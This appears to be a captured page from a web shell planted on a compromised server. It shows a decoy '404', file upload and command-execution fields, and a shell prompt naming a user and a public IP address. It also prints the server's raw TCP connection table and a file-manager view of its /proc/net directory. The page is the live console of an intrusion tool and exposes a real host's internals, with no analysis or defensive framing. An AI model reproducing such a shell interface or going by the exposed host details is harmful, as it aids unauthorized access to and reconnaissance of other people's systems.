404

[ Avaa Bypassed ]




Upload:

Command:

botdev@3.145.37.181: ~ $
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4258761783 2 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 21170 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4258761787 4 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:03FE 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1928632707 1 0000000000000000 100 0 0 10 0
   4: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF0000B5259103:A5A1 01 0000012F:00000000 01:0000001B 00000000    33        0 1908502864 4 0000000000000000 29 4 27 10 -1
   5: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:7B76 08 00000000:00000001 02:00084C1E 00000000    33        0 1907909598 2 0000000000000000 21 4 18 10 -1
   6: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000027056C5B:4A76 06 00000000:00000000 03:00001506 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:9CBE 08 00000000:00000001 02:00088EEC 00000000    33        0 1907987139 2 0000000000000000 21 4 18 10 -1
   8: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:EFAA 08 00000000:00000001 02:0008777C 00000000    33        0 1907955456 2 0000000000000000 21 4 18 10 -1
   9: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:676A 01 00000000:00000000 02:000AF543 00000000    33        0 1908491548 2 0000000000000000 21 4 21 10 -1
  10: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:4756 08 00000000:00000001 02:0007C333 00000000    33        0 1907797714 2 0000000000000000 21 4 28 10 -1
  11: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF0000B5259103:1338 03 00000000:00000000 01:00000062 00000000     0        0 0 0 0000000000000000
  12: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:C564 08 00000000:00000001 02:000834AE 00000000    33        0 1907896928 2 0000000000000000 21 4 18 10 -1
  13: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:A460 06 00000000:00000000 03:00000B2E 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:A864 08 00000000:00000001 02:0008024C 00000000    33        0 1907872885 2 0000000000000000 21 4 18 10 -1
  15: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:DCA2 01 00000000:00000000 02:000AB175 00000000    33        0 1908453964 2 0000000000000000 21 4 31 10 -1
  16: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:5F04 08 00000000:00000001 02:0008312C 00000000    33        0 1907896319 2 0000000000000000 21 4 18 10 -1
  17: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF0000E3FF7F49:0050 03 00000000:00000000 01:000000FF 00000005     0        0 0 0 0000000000000000
  18: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:CC26 08 00000000:00000001 02:0008600C 00000000    33        0 1907921251 2 0000000000000000 21 4 18 10 -1
  19: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:E424 08 00000000:00000001 02:000819BC 00000000    33        0 1907884358 2 0000000000000000 21 4 18 10 -1
  20: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:820C 08 00000000:00000001 02:000805CE 00000000    33        0 1907874553 2 0000000000000000 20 4 18 10 -1
  21: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF0000B5259103:4B2E 01 00000C45:00000000 01:00000011 00000000    33        0 1908502895 3 0000000000000000 29 4 25 10 -1
  22: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF0000B5259103:C59B 01 00000000:00000000 02:000AFA11 00000000    33        0 1908499745 3 0000000000000000 29 4 10 10 -1
  23: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:F54A 08 00000000:00000001 02:0008638E 00000000    33        0 1907925568 2 0000000000000000 20 4 18 10 -1
  24: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:C948 06 00000000:00000000 03:00001033 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:4E0C 06 00000000:00000000 03:0000041E 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF0000E3FF7F49:3EF3 03 00000000:00000000 01:0000017F 00000005     0        0 0 0 0000000000000000
  27: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:6482 08 00000000:00000001 02:00081D3E 00000000    33        0 1907885608 2 0000000000000000 21 4 18 10 -1
  28: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000027056C5B:7332 01 00000000:00000000 02:000AFA16 00000000    33        0 1908499152 2 0000000000000000 21 4 21 10 -1
  29: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF0000B5259103:2E3A 01 00001423:00000000 01:00000011 00000000    33        0 1908503629 3 0000000000000000 29 4 15 10 -1
  30: 0000000000000000FFFF0000428D61D1:0050 0000000000000000FFFF0000E3FF7F49:6634 03 00000000:00000000 01:000000B2 00000005     0        0 0 0 0000000000000000
  31: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:8F82 08 00000000:00000001 02:0008489C 00000000    33        0 1907908053 2 0000000000000000 21 4 18 10 -1
  32: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:CFF8 06 00000000:00000000 03:00000E38 00000000     0        0 0 3 0000000000000000
  33: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000042056C5B:8252 08 00000000:00000001 02:00087AFE 00000000    33        0 1907961348 2 0000000000000000 21 4 18 10 -1
  34: 0000000000000000FFFF0000428D61D1:01BB 0000000000000000FFFF000087056C5B:6BEC 08 00000000:00000001 02:0007EADC 00000000    33        0 1907853693 2 0000000000000000 21 4 18 10 -1

Filemanager

Name Type Size Permission Actions
dev_snmp6 Folder 0555
netfilter Folder 0555
stat Folder 0555
xt_recent Folder 0555
anycast6 File 0 B 0444
arp File 0 B 0444
connector File 0 B 0444
dev File 0 B 0444
dev_mcast File 0 B 0444
fib_trie File 0 B 0444
fib_triestat File 0 B 0444
icmp File 0 B 0444
icmp6 File 0 B 0444
if_inet6 File 0 B 0444
igmp File 0 B 0444
igmp6 File 0 B 0444
ip6_flowlabel File 0 B 0444
ip6_mr_cache File 0 B 0444
ip6_mr_vif File 0 B 0444
ip6_tables_matches File 0 B 0440
ip6_tables_names File 0 B 0440
ip6_tables_targets File 0 B 0440
ip_mr_cache File 0 B 0444
ip_mr_vif File 0 B 0444
ip_tables_matches File 0 B 0440
ip_tables_names File 0 B 0440
ip_tables_targets File 0 B 0440
ipv6_route File 0 B 0444
mcfilter File 0 B 0444
mcfilter6 File 0 B 0444
netlink File 0 B 0444
netstat File 0 B 0444
packet File 0 B 0444
protocols File 0 B 0444
psched File 0 B 0444
ptype File 0 B 0444
raw File 0 B 0444
raw6 File 0 B 0444
route File 0 B 0444
rt6_stats File 0 B 0444
rt_acct File 0 B 0444
rt_cache File 0 B 0444
snmp File 0 B 0444
snmp6 File 0 B 0444
sockstat File 0 B 0444
sockstat6 File 0 B 0444
softnet_stat File 0 B 0444
tcp File 0 B 0444
tcp6 File 0 B 0444
udp File 0 B 0444
udp6 File 0 B 0444
udplite File 0 B 0444
udplite6 File 0 B 0444
unix File 0 B 0444
wireless File 0 B 0444
xfrm_stat File 0 B 0444